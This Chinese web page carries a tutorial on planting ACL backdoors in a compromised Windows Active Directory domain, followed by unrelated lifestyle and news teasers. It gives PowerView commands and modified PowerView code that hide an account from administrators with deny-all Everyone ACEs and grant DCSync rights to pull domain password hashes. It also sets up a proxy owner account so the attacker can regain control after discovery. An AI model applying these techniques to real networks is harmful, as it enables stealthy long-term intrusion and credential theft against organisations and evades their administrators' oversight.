范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

如何在WindowsAD域中驻留ACL后门

  前言
  当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于 ACL  的后门。ACL介绍
  ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。
  安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息::
  1、对象所有者和主组的安全标识符 (SID) 。
  2、指定允许或拒绝特定用户或组的访问权限的 DACL 。
  3、一个 SACL ,指定为对象生成审核记录的访问尝试的类型。
  4、一组控制位,用于限定安全描述符或其单个成员的含义。 隐藏安全描述符
  当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组:
  可以在GUI上对所有者进行修改,也可以使用 powerview  进行修改:Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo
  修改完成后:
  因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对 jumbo  用户Deny  所有权限的ACL,但是发现powerview  的Add-DomainObjectAcl  方法并没有设置Deny  权限的操作,只有Allow  :
  当然,你可以使用 New-ADObjectAccessControlEntry  来完成手动ACL的添加,他的原理如下图:
  上图看出还要手动做最后的ACL保存。既然 Add-DomainObjectAcl  已经完成了自动化的CommitChanges  ,直接把Allow  默认可变的参数不就行了?首先手动在Add-DomainObjectAcl  添加一个AccessControlType  参数:.PARAMETER AccessControlType  Specifies the type of ACE (allow or deny)
  设置参数定义: [Parameter(Mandatory = $True, ParameterSetName="AccessRuleType")] [ValidateSet("Allow", "Deny")] [String[]] $AccessControlType,
  删除之前的默认的 Allow  :
  最后把 AccessControlType  参数替换之前的ControlType  :
  现在就可以在使用 AccessControlType  参数来给对象添加Allow  或者Deny  的权限了。
  【----帮助网安学习,需要网安学习资料关注我,私信回复"资料"免费获取----】
  ① 网安学习成长路径思维导图
  ② 60+网安经典常用工具包
  ③ 100+SRC漏洞分析报告
  ④ 150+网安攻防实战技术电子书
  ⑤ 最权威CISSP 认证考试指南+题库
  ⑥ 超1800页CTF实战技巧手册
  ⑦ 最新网安大厂面试题合集(含答案)
  ⑧ APP客户端安全检测指南(安卓+IOS)
  当尝试域管添加一个对 jumbo  用户Deny  所有权限的ACL后:Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny
  当然,把 SID  改成SamAccountName  也是可以的:Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny
  可以发现域管也没权限查看 jumbo  用户的属性了:
  当使用 system  用户查看jumbo  用户ACL时,可以看到对应的Deny  的ACL:
  现在域管对 jumbo  用户已经无法操作任何东西了,先用system  用户删除该Deny  权限,准备使用powerview  的Remove-DomainObjectAcl  方法时,发现也只有的Allow  ,也就是默认只能移除对象的Allow  权限,老方法,把删除的ACL属性设置为可变参数:
  进行删除: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny
  当然,把 SID  改成SamAccountName  也是可以的:Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny
  那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把 jumbo  用户的拥有者改成默认的域管组,然后对域管进行设置Deny  的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo  拥有者设置为jumbo  的目的:
  上面尝试了拒绝域管对 jumbo  所有的权限,那为了隐藏,并且为了防止后续还要对jumbo  用户的一些其他修改,实际上可以对jumbo  用户设置everyone  拒绝读取的权限即可:
  现在所有用户对其都没有查看权限了:
  当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的:
  现在通过 net user  命令已经看不到jumbo  这个用户了:
  在"用户和计算机"里看用户长这样:
  从上面的操作可以发现,给 everyone  用户添加拒绝读取权限时是通过GUI实现的,因为everyone  用户是个特殊的用户,属于特殊身份群体,是一个属于Well-known SIDs的用户,其对应的SID为S-1-1-0  :
  当尝试使用 powerview  的Add-DomainObjectAcl  方法是无法完成给everyone  用户添加ACL的:
  通过查看 powerview  的代码,会通过Get-ObjectAcl  方法获取对应用户的SID,但是刚刚提到,everyone  用户是个特殊的用户,导致查不到:
  但是看了下还有个 New-ADObjectAccessControlEntry  方法,会判断输入的PrincipalIdentity  参数是不是SID  ,如果是SID  就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl  方法中:        if ($PrincipalIdentity -notmatch "^S-1-.*") {             $PrincipalSearcherArguments = @{                 "Identity" = $PrincipalIdentity                 "Properties" = "distinguishedname,objectsid"             }             if ($PSBoundParameters["PrincipalDomain"]) { $PrincipalSearcherArguments["Domain"] = $PrincipalDomain }             if ($PSBoundParameters["Server"]) { $PrincipalSearcherArguments["Server"] = $Server }             if ($PSBoundParameters["SearchScope"]) { $PrincipalSearcherArguments["SearchScope"] = $SearchScope }             if ($PSBoundParameters["ResultPageSize"]) { $PrincipalSearcherArguments["ResultPageSize"] = $ResultPageSize }             if ($PSBoundParameters["ServerTimeLimit"]) { $PrincipalSearcherArguments["ServerTimeLimit"] = $ServerTimeLimit }             if ($PSBoundParameters["Tombstone"]) { $PrincipalSearcherArguments["Tombstone"] = $Tombstone }             if ($PSBoundParameters["Credential"]) { $PrincipalSearcherArguments["Credential"] = $Credential }             $Principal = Get-DomainObject @PrincipalSearcherArguments             if (-not $Principal) {                 throw "Unable to resolve principal: $PrincipalIdentity"             }             elseif($Principal.Count -gt 1) {                 throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"             }             $ObjectSid = $Principal.objectsid             Write-Host ($ObjectSid)         }         else {             Write-Host "..sid.."             $ObjectSid = $PrincipalIdentity         }                $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
  现在尝试下,给 jumbo2  用户添加everyone  所有拒绝的ACL:Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
  Remove-DomainObjectAcl  方法同理。隐藏主体
  通过上面的步骤,除了 jumbo  用户本身可以查看jumbo  用户以为,其他用户都没有ReadControl  权限,但是在"Active Directory用户和计算机管理"里还是可以看到,虽然ico  图标都没了,接下来要让在"Active Directory用户和计算机管理"里也看不到。为了方便演示,笔者把jumbo  用户移到一个单独的OU  组里:
  然后给这个 OU  设置everyone  拒绝读取权限即可:
  遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。 Dcsync
  Dcsync  实际上就是给用户设置两条扩展权限,分别为:DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  当用户拥有这两条ACL后,即可使用 DRS  协议获取域hash  凭据。给用户在域对象上添加Dcsync  权限即可:
  代理账号
  上面提到,把 jumbo  用户拥有者改成自身,然后设置everyone  对其没有读取权限,这样就可以达到隐藏jumbo  ,然后手上的jumbo  用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync  类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。
  首先攻击账号为 attack  ,代理账号为good  ,首先设置attack  账号所有者为good  :Set-DomainObjectOwner -identity attack -OwnerIdentity good
  给 attack  账号添加dcsync  权限:Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow
  设置 attack  都不可操作:Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
  这个时候,如果 attack  在发起攻击的时候被管理员发现了,把attack  账号密码重置了,但是good  账号是attack  账号的拥有者,可以修改attack  账号的ACL  ,比如给自己添加修改密码的权限,然后去重置attack  账号的密码,然后就又可以拿来攻击了。总结
  本文主要讲了在 Windows  域中如何利用ACL  进行后门隐藏,并对powerview  进行修改使其支持在添加ACL  或者删除ACL  时可以指定Allow  或者Deny  ,也可以选择everyone  此类特殊用户。

麻省理工学院研究人员开发量子传感器可以检测任何频率的电磁信号麻省理工学院的研究人员开发了一种方法,使量子传感器能够检测任意频率,而不会丧失测量纳米级特征的能力。该团队已经申请专利保护的新方法在物理评论X杂志上进行了描述,该论文通讯作者为核科13款热门抗老精华,真人试用28天,到底哪款修复淡纹提升都不错?答应大家的13款抗老精华的详细试用报告,也出来了。13款抗老精华的全家福在此评测结果在此详细的评测过程,请点击这里13款抗老精华,哪款更值得买?怒花10万,真人实测28天,答案来了电子单词卡为什么要选择真人发音的?电子单词卡的发音看似是一个简简单单的功能,真的是这样吗?那市场中为什么能够发音的电子单词卡那么少呢?这里就带大家了解一下从功能上说,电子单词卡的发音功能可不是简简单单的一个功能,它陕西小伙大学毕业卖10元自创小吃,每天流水5000元,替兄买车买房陕西小伙大学毕业卖10元自创小吃,每天流水5000元,替兄买车买房。对于80后的我们来说,儿时记忆里最深的小零食是什么呢?想必大家都会想到的是,每天放学后跑到小卖部买上一包色香味俱可口可乐推出夏枯草凉茶,专家不建议14岁以下儿童饮用在碳酸饮料行业驰骋了数十年的巨头可口可乐,开始觊觎凉茶生意。近日,可口可乐天猫官方旗舰店上线了一款名为健康工房夏枯草植物草本饮料(以下简称夏枯草)的凉茶产品,在业内掀起热议。据悉,夏至到喝凉茶护健康六月,天气逐渐变热,夏至也即将到来。时节带来的变化影响着身体的变化,如何做好夏季养生夏季保健应该注意什么,成为了老年人现在急需关注的问题。近日,入驻在米行街社区关工委联合幸福邻里的夏季高温孩子入睡难,如何科学开空调?这3个方法太实用了大家好!我是浩源妈妈最近我们山东这持续高温,啥也不干就能挥汗如雨哈哈。昨晚回家,在车库碰见两位阿姨边走边聊阿姨A这天儿真是太热了,年轻人开空调,咱这腿疼腰疼得还不敢吹。阿姨B不光咱产妇突发脐带脱垂,她跪着托举胎儿头部16分钟文羊城晚报全媒体记者张华通讯员伍晓丹图医院提供老话说,生孩子就是过鬼门关。即便就是在现代社会来讲,生娃也一样是险象环生,让医护人员如履薄冰。25岁的产妇王女士就经历了惊险的一幕,幸养出妈生发倒序洗头真的不麻烦呐倒序洗头,YYDS!不会有人觉得倒序洗头麻烦吧!它真的比其他的护发方法简单太多了跟平常的洗头不一样的就是多上了一遍护发素但是这个洗完的感觉真的比平时那样好太多了!刚开始我也觉得不就看了梦华录,遇见我理想中的江南隐居地,就藏在江西这个千年古村落,景美如世外桃源!宋朝究竟有多风雅?正在热播的梦华录展现了一幅北宋市井生活长卷。到了南宋,烟柳画桥,风帘翠幕,参差十万人家,大宋的风雅诗性从开封延续到了江南,那一幕幕江南美景,让许多人白日开始做起了励志语录来一波加油,正在努力的我们加油赚钱能治一切矫情有钱能治意一切自卑愿余生我们都能不为而发愁,过自己想要的生活加油。星期三我们要学会在顺境中感恩和体会幸福在逆境中成熟和坚强珍惜今天抓住生命中的每一天用行动,创造
于时光深处,静守一份美好心情是一条长长的河,有时平静如镜,有时波涛汹涌。人的一生,会有很多曲折,会有很多输赢,生活起伏不定,命运总是高高低低。生活的质量,取决于心情这条河的状态和深度,只有河流够深,才能容人生意义即在您生命历程中展现了何种人性我活到了55岁,终于在昨天,领悟到了人生意义就是您在生命历程中展现了何种人性。是高尚,还是卑微是勇敢,还是懦弱是阳光,还是阴暗是浩然正气,还是卑贱无聊,等等。都是您在生命旅途中,一40岁以后,你会发现,你根本不需要朋友年轻的时候,大都希望自己的朋友遍布天下,因为朋友多了路好走。喜欢参加聚会,喜欢结识新的朋友,以为这样能够给自己建立起强大的关系网,或者在闲暇的时候,有人能相互陪伴着一起吃喝玩乐,聊人生下半场心要平,身要正,家要安,情要稳01hr俗话说有福之人不用忙,无福之人跑断肠。人生上半场,需要勇往直前下半场,需要回归自然。有道是,世人忙忙碌碌,就是为了那几两碎银。可是,半生过后,就会发现,真正的幸福,是生命的人生低谷就像一面镜子明天始终是个未知数,将要发生什么会发生什么谁也猜想不到。上学的时候我总以为,读完初中我会考上大学也能像电视里演的一样怀揣着纯真的梦去实现自己的理想。大学校园一直是我的一个憧憬,因为放自己一马,别让自己的人生过得那么卑微1hr放自己一马,别让自己的人生过得那么卑微,这是这段时间我听过最震撼的话语。身边一个非常优秀的朋友,死活想去北欧国家定居,宁愿当个蓝领也要去,这颇有点让我感觉不可思议。在哪不是活人生的意义头条创作挑战赛人生的意义是生存还是名利,在普通人眼里,名利也许是他们毕生的追求,因为没有得到过所以觉得无比诱惑而在有名有利的人眼里生存到最后才是根本!当他得到了想要的东西,往往显得正能量的励志短句永不过时1理想一旦被付诸行动,就会变得神圣。2人生与命运无关,与自己的选择有关。3困境中求得生存的人,才有发展的希望。4一个人的知识,无法超越他的自身经验。5对生活微笑吧,这样,你能察觉它荣耀X40真机上手体验不吹不黑,手感颜值很不错,缺点也很明显已经2022年了,现在的手机和过去不一样了,过去受限于手机处理器性能不足,很多厂商在做手机芯片发布会的时候,都在比拼手机处理器,跑分多少,似乎手机搭配个好一点的处理器,就是手机硬件数字智绘产业园区3。0新样板截止当前,中国各类产业园区数量已高达2。5万个。产业园区,正在成为中国经济转型升级和创新发展的生力军。而在数字化浪潮下,如何推陈出新通过科技手段打造智慧园区,已成为数字产经时代的新创业路上,除了成为头部企业,你别无选择相信大家都听过马太效应,它是指强者愈强,弱者愈弱的社会现象,广泛应用于金融商业心理学等领域。马太效应其实而大家所熟悉的二八定律很相似,它是指社会中20的人占有80的财富,换句话说,